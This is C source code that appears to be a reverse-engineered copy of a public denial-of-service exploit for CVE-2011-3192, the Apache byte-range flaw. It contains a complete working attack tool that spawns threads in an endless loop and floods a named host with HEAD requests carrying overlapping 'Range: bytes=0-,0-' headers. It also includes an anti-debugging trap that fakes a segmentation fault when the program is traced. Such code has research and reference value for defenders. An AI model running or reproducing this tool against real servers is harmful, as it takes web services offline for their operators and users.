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/* * This is a reverse engineered version of the exploit for CVE-2011-3192 made * by ev1lut10n (http://jayakonstruksi.com/backupintsec/rapache.tgz). * Copyright 2011 Ramon de C Valle <rcvalle@redhat.com> * * Compile with the following command: * gcc -Wall -pthread -o rcvalle-rapache rcvalle-rapache.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <unistd.h> #include <pthread.h> void ptrace_trap(void) __attribute__ ((constructor)); void ptrace_trap(void) { if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { write(fileno(stdout), "Segmentation fault\n", 19); exit(-1); } } void w4rn41dun14mu(int attr, int fg, int bg) { char command[13]; sprintf(command, "%c[%d;%d;%dm", 0x1b, attr, fg+30, bg+40); printf("%s", command); } void banner() { w4rn41dun14mu(0, 1, 0); fwrite("Remote Apache Denial of Service Exploit by ev1lut10n\n", 53, 1, stdout); } void gime_er_mas() { printf("%c%s", 0x1b, "[2J"); printf("%c%s", 0x1b, "[1;1H"); puts("\nsorry dude there's an error..."); } struct thread_info { pthread_t thread_id; int thread_num; char *argv_string; }; static void * thread_start(void *arg) { struct thread_info *tinfo = (struct thread_info *) arg; char hostname[64]; int j; strcpy(hostname, tinfo->argv_string); j = 0; while (j != 10) { struct addrinfo hints; struct addrinfo *result, *rp; int sfd, s; ssize_t nwritten; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = 0; hints.ai_protocol = 0; s = getaddrinfo(hostname, "http", &hints, &result); if (s != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(s)); exit(EXIT_FAILURE); } for (rp = result; rp != NULL; rp = rp->ai_next) { sfd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); if (sfd == -1) continue; if (connect(sfd, rp->ai_addr, rp->ai_addrlen) == -1) close(sfd); } if (result != NULL) freeaddrinfo(result); nwritten = write(sfd, "HEAD / HTTP/1.1\n" "Host:localhost\n" "Range:bytes=0-,0-\n" "Accept-Encoding: gzip", 71); if (nwritten == -1) close(sfd); usleep(300000); j++; } return 0; } int main(int argc, char *argv[]) { int i; struct thread_info tinfo; banner(); if (argc <= 1) { w4rn41dun14mu(0, 2, 0); fwrite("\n[-] Usage : ./rapache hostname\n", 32, 1, stdout); return 0; } w4rn41dun14mu(0, 3, 0); printf("[+] Attacking %s please waitin minutes ...\n", argv[1]); while (1) { i = 0; while (i != 50) { tinfo.thread_num = i; tinfo.argv_string = argv[1]; pthread_create(&tinfo.thread_id, NULL, &thread_start, &tinfo); usleep(500000); i++; } } } |
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